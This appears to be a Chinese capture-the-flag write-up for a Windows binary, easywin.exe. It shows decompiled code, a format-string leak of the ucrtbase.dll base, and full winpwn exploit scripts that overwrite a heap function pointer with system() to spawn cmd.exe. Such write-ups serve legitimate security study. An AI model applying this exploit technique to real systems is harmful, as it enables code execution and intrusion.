保护检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Results for: .\easywin.exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "Present" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "Present" RFG : "NotPresent" SafeSEH : "NotApplicable" GS : "Present" Authenticode : "NotPresent" .NET : "NotPresent"
|
程序分析
程序有一个菜单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| int __cdecl main(int argc, const char **argv, const char **envp) { FILE *stdin; FILE *v4; FILE *v5; char choice;
init_(argc, argv, envp); stdin = _acrt_iob_func(0); setvbuf(stdin, 0i64, 4, 0i64); v4 = _acrt_iob_func(1u); setvbuf(v4, 0i64, 4, 0i64); v5 = _acrt_iob_func(2u); setvbuf(v5, 0i64, 4, 0i64); printf("--------------------------------------\n" " [DROID ARMY]\n" " a - add droid\n" " d - delete droid\n" " c - change droid's target\n" " l - attack all the worldz!\n" "--------------------------------------\n"); do { while ( 1 ) { while ( 1 ) { printf("Choice? "); scanf("%c"); getchar(); if ( choice != 'a' ) break; add(); } if ( choice != 'c' ) break; LABEL_8: change(); } if ( choice == 'd' ) { delete(); goto LABEL_8; } } while ( choice != 'l' ); attack(); return 0; }
|
add
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| int add() { __int64 count; _QWORD *i; HANDLE handle; char *chunk; char *chunk_; FILE *stdin; __int64 idx; char is_set; char type[8];
count = 0i64; for ( i = planet; *i; i += 4 ) { if ( !i[1] ) { count = (unsigned int)(count + 1); break; } if ( !i[2] ) { count = (unsigned int)(count + 2); break; } if ( !i[3] ) { count = (unsigned int)(count + 3); break; } count = (unsigned int)(count + 4); if ( (unsigned int)count >= 0x100 ) return printf("Too many droids already. Army is ready!\n"); } if ( (unsigned int)count >= 0x100 ) return printf("Too many droids already. Army is ready!\n"); handle = GetProcessHeap(); chunk = (char *)HeapAlloc(handle, 0, 0x208ui64); chunk_ = chunk; if ( !chunk ) { printf("FATAL ERROR\n"); exit(1); } memset(chunk, 0, 0x208ui64); printf("Target planet? "); stdin = _acrt_iob_func(0); if ( fgets(chunk_, 0x100, stdin) ) { idx = -1i64; do ++idx; while ( chunk_[idx] ); if ( idx ) { if ( chunk_[idx - 1] == '\n' ) chunk_[idx - 1] = 0; } } is_set = 0; do { while ( 1 ) { printf("Type?\n"); printf(" d - Droideka\n b - B1 Battle Droid\n p - Probe Droid\n i - IG-88\n~~~~~~~~~~~~~~~~~~~~~~\n"); scanf("%c", type); getchar(); if ( type[0] == 'b' ) break; switch ( type[0] ) { case 'd': strcpy_s(chunk_ + 0x100, 0x100ui64, "[+] A Droideka lands on %1$s (%2$d, %3$d).\n"); *((_QWORD *)chunk_ + 0x40) = droideka; goto LABEL_30; case 'i': strcpy_s(chunk_ + 0x100, 0x100ui64, "[+] IG-88 has a bounty of %$2d%$3d$ on planet %$1s.\n"); *((_QWORD *)chunk_ + 0x40) = IG88; goto LABEL_30; case 'p': strcpy_s( chunk_ + 0x100, 0x100ui64, "[+] Probe Droid arrived on planet %$1s after %$2d days and %$3d hours...\n"); *((_QWORD *)chunk_ + 0x40) = probedroid; goto LABEL_30; } printf("Invalid type.\n"); is_set = 1; } strcpy_s(chunk_ + 0x100, 0x100ui64, "[+] An army of %$3d%$2d B1 Battle Droid arrives on %$1s.\n"); *((_QWORD *)chunk_ + 0x40) = battledroid; LABEL_30: ; } while ( is_set ); planet[count] = chunk_; return printf("Droid added.\n"); }
|
delete
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int delete() { LPVOID *v0; HANDLE v1; unsigned int id;
printf("ID? "); scanf("%u", &id); getchar(); if ( id >= 0x100 || !planet[id] ) return printf("Invalid ID.\n"); v0 = (LPVOID *)&planet[id]; v1 = GetProcessHeap(); if ( !HeapFree(v1, 0, *v0) ) { printf("FATAL ERROR\n"); exit(1); } *v0 = 0i64; return printf("Droid removed.\n"); }
|
change
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| int change() { char *buf; FILE *stdin; __int64 buf_; unsigned int id;
printf("ID? "); scanf("%u", &id); getchar(); if ( id < 0x100 && planet[id] ) { buf = (char *)planet[id]; printf("New target planet? "); stdin = _acrt_iob_func(0); buf_ = (__int64)fgets(buf, 520, stdin); if ( buf_ ) { buf_ = -1i64; do ++buf_; while ( buf[buf_] ); if ( buf_ && buf[buf_ - 1] == '\n' ) buf[buf_ - 1] = 0; } } else { LODWORD(buf_) = printf("Invalid ID.\n"); } return buf_; }
|
attack
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| int attack() { int result; unsigned __int64 i; __int64 chunk; char v3; _BYTE *chunk_; char v5; char *v6; char v7;
printf("Launching attack!\n"); result = SetStdHandle(0xFFFFFFF6, 0i64); for ( i = 0i64; i < 0x100; ++i ) { chunk = planet[i]; if ( chunk ) { v3 = 0; chunk_ = (_BYTE *)planet[i]; do { if ( *chunk_ ) { if ( (unsigned __int8)(*chunk_ - 33) > 0x5Du ) goto LABEL_18; } else { v3 = 1; } ++chunk_; } while ( (unsigned __int64)&chunk_[-chunk] < 0x100 ); if ( v3 ) { v5 = 0; v6 = (char *)(chunk + 0x100); do { v7 = *v6; if ( *v6 ) { if ( (unsigned __int8)(v7 - 32) > 0x5Eu && v7 != 10 ) goto LABEL_18; } else { v5 = 1; } ++v6; } while ( (unsigned __int64)&v6[0xFFFFFFFFFFFFFF00ui64 - chunk] < 0x100 ); if ( v5 && *(_QWORD *)(chunk + 0x200) ) { rand(); rand(); printf_((char *)(chunk + 0x100)); result = (*(__int64 (__fastcall **)(__int64))(chunk + 0x200))(chunk); continue; } } LABEL_18: result = printf( "Droid %zu failed the integrity check, cannot be used in the attack. Sending the droid to maintenance...\n", i); } } return result; }
|
可以很明显的发现 attack
处有一个格式化字符串,同时也有一个任意函数调用
1 2
| printf_((char *)(chunk + 0x100)); result = (*(__int64 (__fastcall **)(__int64))(chunk + 0x200))(chunk);
|
那么我们可以通过格式化字符串泄露 ucrtbase.dll
的地址,虽然 attack
后程序会退出,但是 ucrtbase.dll
的基地址都是不变的,所以也是可以泄露的
漏洞利用
首先是泄露信息,在使用格式化字符串漏洞的时候注意要通过 attack
中的 check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
def cmd(idx): sla("Choice?",str(idx))
def add(data,tp = "d"): cmd("a") sla("Target planet?",data) sla("Type?",tp)
def change(id,data): cmd("c") sla("ID?",str(id)) sla("New target planet?",data)
def free(): cmd("d") sla("ID?",str(id))
def attack(): cmd("l")
r = process("./easywin.exe")
add("Ver") payload = "" payload += "a" * 0xff payload += "\x00" payload += "%p" * 8 change(0,payload)
attack() rc(0x64) ucrtbase_base = int(rc(0x10),16) - 0xf07a8 print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}") r.close()
|
然后下面直接 getshell
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| system_addr = ucrtbase_base + 0xAE5C0
r = process("./easywin.exe")
add("Ver") payload = "" payload += "cmd.exe".ljust(0x100, "\x00") payload += "a" * 0xff payload += "\x00" payload += p64(system_addr) change(0,payload)
attack()
r.interactive()
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
def cmd(idx): sla("Choice?",str(idx))
def add(data,tp = "d"): cmd("a") sla("Target planet?",data) sla("Type?",tp)
def change(id,data): cmd("c") sla("ID?",str(id)) sla("New target planet?",data)
def free(): cmd("d") sla("ID?",str(id))
def attack(): cmd("l")
r = process("./easywin.exe")
add("Ver") payload = "" payload += "a" * 0xff payload += "\x00" payload += "%p" * 8 change(0,payload)
attack() rc(0x64) ucrtbase_base = int(rc(0x10),16) - 0xf07a8 print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}") r.close()
system_addr = ucrtbase_base + 0xAE5C0
r = process("./easywin.exe")
add("Ver") payload = "" payload += "cmd.exe".ljust(0x100, "\x00") payload += "a" * 0xff payload += "\x00" payload += p64(system_addr) change(0,payload)
attack()
r.interactive()
|